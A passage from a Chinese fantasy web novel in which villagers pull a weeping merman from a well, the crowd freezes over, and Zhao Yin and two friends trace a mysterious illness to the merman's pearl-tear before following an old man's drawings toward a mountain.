还是那根粗粗的麻绳,底端挂了很多细小的鱼钩,赵吟喊松手的那刻,麻绳像蛇窜入草丛那样没入井中,很快就只剩下一个头拽在几位壮汉手中。
骚动声一片。
“这么深!”
“绳子放完了还不见底!”
壮汉们不知所措,齐齐看向村长:“村长,没到底。”
村长揉了下脸,开口道:“算了,先……”
话未完,那几位壮汉脸上血色褪尽,手开始发抖,连带着绳子也剧烈颤抖。
他们带着哭腔:“有东西!”
23. 第二十三章
井中传来的风声越来越大,甚至吹动了诸人的头发,所有人都闻到咸湿的气息。
不知有谁说:“是海风。”
几个壮汉有丢绳逃跑的征兆,村长大跨步过去,握住绳索命令道:“拉上来!”
麻绳将井口的青苔摩擦出缺口,绳子和男人们的的手都绷脆了,彷佛一片树叶就能切断。
先露出井口的是一尾鳍,在太阳下泛着银蓝色的光。
“是大鱼呀!”
所有人都松了一口气,也包括人群中的赵吟。
银蓝色的漂亮鳞片一点点露出,姜阿公忍不住赞叹:“垂钓几十年,我还没见过这么漂亮的鱼!”
绳子在地上堆了一圈又一圈,银白色的钩子一闪一闪,诸人都忍不住眯着眼。
“那是什么!?”
惊愕的疑问让大家忍着刺眼的光看过去。
钩子下是一层薄纱,轻得像一层烟,在阳光下有虹彩流动。
有一个答案呼之欲出,赵吟静默地等待最后的确认。
薄纱已被勾破,此时快要断裂,而鱼尾也在往下滑。
“快!快!”
在村民们热切的呼喊中,村长和壮汉们奋力一拉,“哧啦”的断裂声也瞬间响起。
“扑通”一声,重物坠地,风声不再有,取而代之的是大片大片的尖叫。
“是妖物!”
“救命——”
近乎透明的鱼尾轻轻摆动,漂亮的银蓝色鳞片延伸至破碎的薄纱间,再往上——
是人的胸膛,人的双手,人的脸庞,还有与鳞片相呼应的长发。
就是个少年人模样。
他趴在地上,在尖叫中缓缓睁开眼,湖蓝色的眼神让赵吟想起梦境中的海。
她说:“是南海鲛人!”
人群一下子安静下来,在这片诡异的寂静中,赵吟慢慢走过去。
鲛人艰难地抬起头,蓝色眼睛里泛出水光,一滴泪从脸颊上划过,顷刻化为珍珠,闪耀着宝石的光芒。
人群中没牙的老头含糊不清说道:“最亮的一颗珍珠,是鲛人最后的眼泪。”
赵吟捡起珍珠,手指触到泥土的一瞬间,就似触到了冰霜。
“好冷啊——”她忍不住打了个哆嗦。
刚刚站起身,背后的李春序和吴风依就大声喊叫:“阿吟你别动!”
转身的一刹那,脚底湿润柔软的泥土结成坚硬寒冷的冰霜,以野草遇火的架势迅速蔓延。
刚刚还鲜活的人群瞬间被冻结,眼中或是疑惑或是惊讶或是呆愣或是茫然。赵吟慌乱地看向鲛人,他全身同样被冰霜覆盖,湖蓝色的眼睛泛着水光,仍然是流泪的模样。
本来热热闹闹吵吵嚷嚷的人群,眨眼间就只剩下赵吟李春序和吴风依三人。
失魂落魄地回到姜阿公的小屋,几只鸡在地上悠闲地漫步,偶尔“咯咯哒”。
赵吟拿出三个碗坐在火塘边,一人盛了一碗汤。
鸡汤犹带温热,姜阿公钓的鱼还在地上扑腾。
李春序小声地哭了出来。
赵吟把鸡腿放到她的碗中,说道:“快吃,吃饱了才有力气想办法。”
吃完饭,吴风依去割猪草,李春序去菜地砍菜叶,赵吟坐在姜阿公的院子里,剁着猪草和菜叶。
满村的家禽,也得有人喂。
旁边的大锅里煮着菜叶和红薯,咕噜噜冒泡,赵吟明明坐在灶火边,却浑身泛起一阵阵寒战,冷得她打哆嗦。
难道是刚刚受了凉?
她没有放在心上,忙完后倒在竹床上,打算休息一会儿。
太阳落山了,她没能从竹床上起来。轻微的冷战已经发展为浑身虚汗,呕吐不停,她头晕眼花地在竹床上辗转反侧,眼眶灼热。
吴风依与李春序找出赵吟随身携带的药方,仔细对比症状后得出一样的结论。
“是伤寒。”
从街上带回足以吃半个月的药材,两人在照料村庄家禽时也兼顾照料赵吟。
家禽在他们的过度照料下肥胖健壮,全村的鸡无论怎样震动翅膀,都不再能飞到树上过夜。
可赵吟依旧不见起色,十五副汤药熬完,她仍然茶饭不思,下不了床。
两人都对当初的论断起了怀疑,但又不敢将郎中带到村中。
赵吟也觉得蹊跷,她艰难地坐起身,在一瞬即逝的清醒中笃定道:“不是伤寒。”
听完这句话后,李春序做出一个大胆的决定,要给赵吟洗澡。
这些天她只敢用手帕稍微擦拭她的脸和脖颈,就怕又受了风寒。
既然不是伤寒,那么爱干净的阿吟肯定希望能洗一个澡。
打定主意后她就开始烧水,并在间隙中返回房间。她先取掉赵吟腰间的荷包放置一边,可就在她解腰带的时候,赵吟突然坐起身,混沌无神的眼睛也变得无比清明。
她说:“我好了。”
李春序疑心她在胡言乱语,可赵吟稳稳站在地面上,脸色红润,姿态轻盈。
悬在她和吴风依心上的石块总算落地。
赵吟痛痛快快洗了个澡,在她换上一身新衣,将荷包重新挂在腰间时,相似的症状再度来袭。
李春序彻底慌了手脚,她坐在院子里捂着脸哭泣,她多么害怕那是回光反照。
吴风依也茫然无措的立在院子里,踟蹰过后,他坚定地朝村口走去,誓要带回最好的郎中。
“阿风。”
熟悉的呼唤让他停下脚步。
他惊诧地看向小屋门口。
赵吟就站在那里,面色红润,身形稳健,声音清亮。
他跟李春序疯了一样略过眼前的赵吟往屋里冲去,竹床上只剩下一个荷包,并没有他们想象中的赵吟,两人对视一眼,如脱力般靠在墙上,脸上的表情似哭还笑。
“阿风,你拿
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起那个荷包。”赵吟不知何时走了进来,神色如常。
吴风依迟疑地拿起那个荷包。
赵吟又说:“带在你的腰间。”
他照做,与此同时,浑身起了一阵又一阵的寒战,赵吟出现过的症状又如数出现在他身上。
李春序惊讶地说不出话语,手足无措地看向倒在竹床上的吴风依。
“把他腰间的荷包拿掉吧。”
在拿掉荷包的一瞬间,吴风依坐起身,眼神恢复明亮,他看向这个荷包,仓皇后退几步。
赵吟从李春序手中接过它,从里面拿出一粒耀眼的珍珠。
她说:“这是鲛人的相思泪。”
“你怎么知道?”
“因为相思,具有和伤寒一样的症状。”*
“最亮的一颗珍珠,是鲛人最后的眼泪。”老人含糊不清的话语在耳边回响,赵吟重新回到枯井旁,在冰冻的人群里找出他。
“我们要找到他的家。”
村庄不大,只有十几户人家,可要找到这位老人的家谈何容易?
三人挨家挨户推开门,发现每家每户都差不多。
篱笆围成的小院,里面或是种花或是种菜,几间小屋并排而立,都是黄泥黑瓦。
赵吟又回到了枯井边,来来回回走了很多趟,然后说,“其余人都穿的是布鞋,只有这位老人穿的草鞋。”
李春序和吴风依若获至宝。
他们很快找到一间门口晒着稻草的小屋,走廊梁柱上挂着已做好的草鞋。
门没有锁,地上干干净净,堂屋的长桌上摆着香炉和几个牌位。
赵吟点几下头以示歉意。
“这里竟然有一间书房。”
进门右手边,门半掩,吴风依凑在门缝边朝里张望。
门整个推开,屋内一切落入他们眼中。
好几排大书架紧紧靠着墙壁。
李春序惊讶:“居然有这么多书!”
村里竟然有读书人,那为何听见赵吟是读书人如此惊喜?
赵吟走过去,随意抽出一本,喟叹道:“都是图画。”
李春序和吴风依也各自拿出一本,毫无疑问都是图画。
老人不识字。
窗边有一张书桌,上面铺满了粗糙而泛黄的纸张,就像那一本本图画书一样。
这些纸张上也有图画,由线条和圆圈组成。
“都看不懂啊……”
赵吟将纸张都铺在地上,然后一张张前后左右调换顺序。
吴风依离远了看,眉头皱起再皱起,终于在某一瞬间,他展眉而笑。
“阿吟,是山。”
这些莫名其妙的圆圈和线条,组成了一座山。
村民不经意间的话语再度出现——
“村里曾经莫名奇妙少了一位女孩,村口的张聋子根本没见到她出村,而村尾的谢哑巴也没见到她上山。”